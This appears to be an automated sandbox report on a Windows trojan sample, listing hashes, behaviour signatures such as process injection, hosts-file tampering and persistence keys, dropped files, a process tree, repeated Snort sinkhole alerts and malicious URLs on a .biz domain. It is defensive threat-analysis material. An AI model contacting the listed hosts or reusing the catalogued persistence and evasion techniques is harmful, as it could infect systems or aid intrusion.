Edit tour

Windows Analysis Report
p4C7Gm10K3.exe

Overview

General Information

Sample name:	p4C7Gm10K3.exe renamed because original name is a hash value
Original sample name:	a2b56a267f83be08fbf30cb772733384.exe
Analysis ID:	1353063
MD5:	a2b56a267f83be08fbf30cb772733384
SHA1:	fab48d36edf5f56998e89cded2158bfb4e071805
SHA256:	8c5d3199cf17dfd40b2b306e5f9a8310c47560d87fdd6751e81454d43f73ea66
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Tries to download HTTP data from a sinkholed server

Allocates memory in foreign processes

Changes security center settings (notifications, updates, antivirus, firewall)

Creates a Image File Execution Options (IFEO) Debugger entry

Creates an undocumented autostart registry key

Drops executables to the windows directory (C:\Windows) and starts them

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the hosts file

Modifies windows update settings

Tries to resolve many domain names, but no domain seems valid

Writes to foreign memory regions

Changes image file execution options

Connects to many different domains

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after accessing registry keys)

Found large amount of non-executed APIs

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

p4C7Gm10K3.exe (PID: 4420 cmdline: C:\Users\user\Desktop\p4C7Gm10K3.exe MD5: A2B56A267F83BE08FBF30CB772733384)

rmass.exe (PID: 6436 cmdline: C:\Windows\system32\rmass.exe MD5: A2B56A267F83BE08FBF30CB772733384)

rmass.exe (PID: 2100 cmdline: --k33p MD5: A2B56A267F83BE08FBF30CB772733384)

winlogon.exe (PID: 560 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: explorer.exe PID: 4004	ironshell_php	Semi-Auto-generated - file ironshell.php.txt	Neo23x0 Yara BRG + customization by Stefan -dfate- Molls	0x6e9dc:$s2: ~ Shell I 0x1f6481:$s2: ~ Shell I

Snort Signatures

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498002016803 12/04/23-12:34:04.888229
SID:	2016803
Source Port:	80
Destination Port:	49800
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497692016803 12/04/23-12:33:29.377305
SID:	2016803
Source Port:	80
Destination Port:	49769
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497492016803 12/04/23-12:33:09.325101
SID:	2016803
Source Port:	80
Destination Port:	49749
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497292016803 12/04/23-12:32:54.448846
SID:	2016803
Source Port:	80
Destination Port:	49729
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497452016803 12/04/23-12:33:06.390383
SID:	2016803
Source Port:	80
Destination Port:	49745
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497442016803 12/04/23-12:33:06.023862
SID:	2016803
Source Port:	80
Destination Port:	49744
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497482016803 12/04/23-12:33:08.962213
SID:	2016803
Source Port:	80
Destination Port:	49748
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497232016803 12/04/23-12:32:49.112801
SID:	2016803
Source Port:	80
Destination Port:	49723
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497262016803 12/04/23-12:32:53.341976
SID:	2016803
Source Port:	80
Destination Port:	49726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497272016803 12/04/23-12:32:53.701335
SID:	2016803
Source Port:	80
Destination Port:	49727
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497222016803 12/04/23-12:32:48.739954
SID:	2016803
Source Port:	80
Destination Port:	49722
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497302016803 12/04/23-12:32:54.812713
SID:	2016803
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497152016803 12/04/23-12:32:43.142669
SID:	2016803
Source Port:	80
Destination Port:	49715
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497322016803 12/04/23-12:32:56.202991
SID:	2016803
Source Port:	80
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497112016803 12/04/23-12:32:36.430315
SID:	2016803
Source Port:	80
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498282016803 12/04/23-12:34:42.381761
SID:	2016803
Source Port:	80
Destination Port:	49828
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497522016803 12/04/23-12:33:13.372022
SID:	2016803
Source Port:	80
Destination Port:	49752
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497542016803 12/04/23-12:33:14.174853
SID:	2016803
Source Port:	80
Destination Port:	49754
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497612016803 12/04/23-12:33:22.830523
SID:	2016803
Source Port:	80
Destination Port:	49761
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497902016803 12/04/23-12:33:50.248952
SID:	2016803
Source Port:	80
Destination Port:	49790
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497652016803 12/04/23-12:33:25.634076
SID:	2016803
Source Port:	80
Destination Port:	49765
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497702016803 12/04/23-12:33:29.737206
SID:	2016803
Source Port:	80
Destination Port:	49770
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498222016803 12/04/23-12:34:36.222054
SID:	2016803
Source Port:	80
Destination Port:	49822
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498242016803 12/04/23-12:34:39.880474
SID:	2016803
Source Port:	80
Destination Port:	49824
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497762016803 12/04/23-12:33:34.508076
SID:	2016803
Source Port:	80
Destination Port:	49776
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498132016803 12/04/23-12:34:25.427455
SID:	2016803
Source Port:	80
Destination Port:	49813
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498192016803 12/04/23-12:34:30.329042
SID:	2016803
Source Port:	80
Destination Port:	49819
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497852016803 12/04/23-12:33:40.709276
SID:	2016803
Source Port:	80
Destination Port:	49785
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498022016803 12/04/23-12:34:09.900779
SID:	2016803
Source Port:	80
Destination Port:	49802
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498062016803 12/04/23-12:34:11.693204
SID:	2016803
Source Port:	80
Destination Port:	49806
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497812016803 12/04/23-12:33:38.550976
SID:	2016803
Source Port:	80
Destination Port:	49781
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497962016803 12/04/23-12:33:57.995879
SID:	2016803
Source Port:	80
Destination Port:	49796
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497782016803 12/04/23-12:33:35.570412
SID:	2016803
Source Port:	80
Destination Port:	49778
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497792016803 12/04/23-12:33:35.939568
SID:	2016803
Source Port:	80
Destination Port:	49779
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497932016803 12/04/23-12:33:55.539643
SID:	2016803
Source Port:	80
Destination Port:	49793
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497942016803 12/04/23-12:33:55.916759
SID:	2016803
Source Port:	80
Destination Port:	49794
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497972016803 12/04/23-12:33:58.366789
SID:	2016803
Source Port:	80
Destination Port:	49797
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497582016803 12/04/23-12:33:19.719191
SID:	2016803
Source Port:	80
Destination Port:	49758
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498302016803 12/04/23-12:34:46.050882
SID:	2016803
Source Port:	80
Destination Port:	49830
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497572016803 12/04/23-12:33:19.351980
SID:	2016803
Source Port:	80
Destination Port:	49757
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497552016803 12/04/23-12:33:14.578832
SID:	2016803
Source Port:	80
Destination Port:	49755
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497382016803 12/04/23-12:33:01.162849
SID:	2016803
Source Port:	80
Destination Port:	49738
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497362016803 12/04/23-12:32:59.397552
SID:	2016803
Source Port:	80
Destination Port:	49736
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497392016803 12/04/23-12:33:01.528456
SID:	2016803
Source Port:	80
Destination Port:	49739
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497332016803 12/04/23-12:32:56.574478
SID:	2016803
Source Port:	80
Destination Port:	49733
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497352016803 12/04/23-12:32:59.025846
SID:	2016803
Source Port:	80
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497422016803 12/04/23-12:33:03.252919
SID:	2016803
Source Port:	80
Destination Port:	49742
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498162016803 12/04/23-12:34:27.267950
SID:	2016803
Source Port:	80
Destination Port:	49816
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497622016803 12/04/23-12:33:23.194091
SID:	2016803
Source Port:	80
Destination Port:	49762
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498322016803 12/04/23-12:34:46.413595
SID:	2016803
Source Port:	80
Destination Port:	49832
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497732016803 12/04/23-12:33:30.903862
SID:	2016803
Source Port:	80
Destination Port:	49773
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497642016803 12/04/23-12:33:25.271531
SID:	2016803
Source Port:	80
Destination Port:	49764
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498272016803 12/04/23-12:34:41.999414
SID:	2016803
Source Port:	80
Destination Port:	49827
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498212016803 12/04/23-12:34:35.841798
SID:	2016803
Source Port:	80
Destination Port:	49821
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498252016803 12/04/23-12:34:40.248981
SID:	2016803
Source Port:	80
Destination Port:	49825
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497752016803 12/04/23-12:33:34.145297
SID:	2016803
Source Port:	80
Destination Port:	49775
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497992016803 12/04/23-12:34:04.513014
SID:	2016803
Source Port:	80
Destination Port:	49799
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498122016803 12/04/23-12:34:25.061270
SID:	2016803
Source Port:	80
Destination Port:	49812
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497912016803 12/04/23-12:33:50.625195
SID:	2016803
Source Port:	80
Destination Port:	49791
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498032016803 12/04/23-12:34:10.265287
SID:	2016803
Source Port:	80
Destination Port:	49803
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498182016803 12/04/23-12:34:29.938402
SID:	2016803
Source Port:	80
Destination Port:	49818
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498052016803 12/04/23-12:34:11.337093
SID:	2016803
Source Port:	80
Destination Port:	49805
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498092016803 12/04/23-12:34:21.113624
SID:	2016803
Source Port:	80
Destination Port:	49809
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680498102016803 12/04/23-12:34:21.957640
SID:	2016803
Source Port:	80
Destination Port:	49810
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497822016803 12/04/23-12:33:38.924971
SID:	2016803
Source Port:	80
Destination Port:	49782
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Header - Source IP: 167.99.35.88 - Destination IP: 192.168.2.6

Timestamp:	167.99.35.88192.168.2.680497842016803 12/04/23-12:33:40.343311
SID:	2016803
Source Port:	80
Destination Port:	49784
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: p4C7Gm10K3.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://utbidet-ugeas.biz/d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C8861496FA	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB1	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539DBFE	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C7	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF8	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B44D7	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/rpt?http://%s.biz/d/G?http://%s.biz/d/N?idbg32.exeaset32.exeSOFTWARE	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315605	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F06	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539D	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075485	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806C	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/cc	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E455	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\ntdbg.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen
Source: C:\Windows\SysWOW64\ahuy.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen
Source: C:\Windows\SysWOW64\rmass.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen
Source: C:\Windows\SysWOW64\RECOVER32.DLL	Avira: detection malicious, Label: TR/Dldr.Agent.apd.2
Source: C:\Users\user\AppData\Roaming\tmpC717.tmp	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen

Multi AV Scanner detection for domain / URL

Source: utbidet-ugeas.biz

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Windows\SysWOW64\RECOVER32.DLL	ReversingLabs: Detection: 62%
Source: C:\Windows\SysWOW64\rmass.exe	ReversingLabs: Detection: 94%

Multi AV Scanner detection for submitted file

Source: p4C7Gm10K3.exe	ReversingLabs: Detection: 94%
Source: p4C7Gm10K3.exe	Virustotal: Detection: 90%			Perma Link

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\ntdbg.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\ahuy.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\rmass.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: p4C7Gm10K3.exe

Joe Sandbox ML: detected

Source: p4C7Gm10K3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49711
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49715
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49722
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49723
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49726
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49727
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49729
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49730
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49732
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49733
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49735
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49736
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49738
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49739
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49742
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49744
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49745
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49748
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49749
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49752
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49754
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49755
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49757
Source: Traffic	Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.6:49758
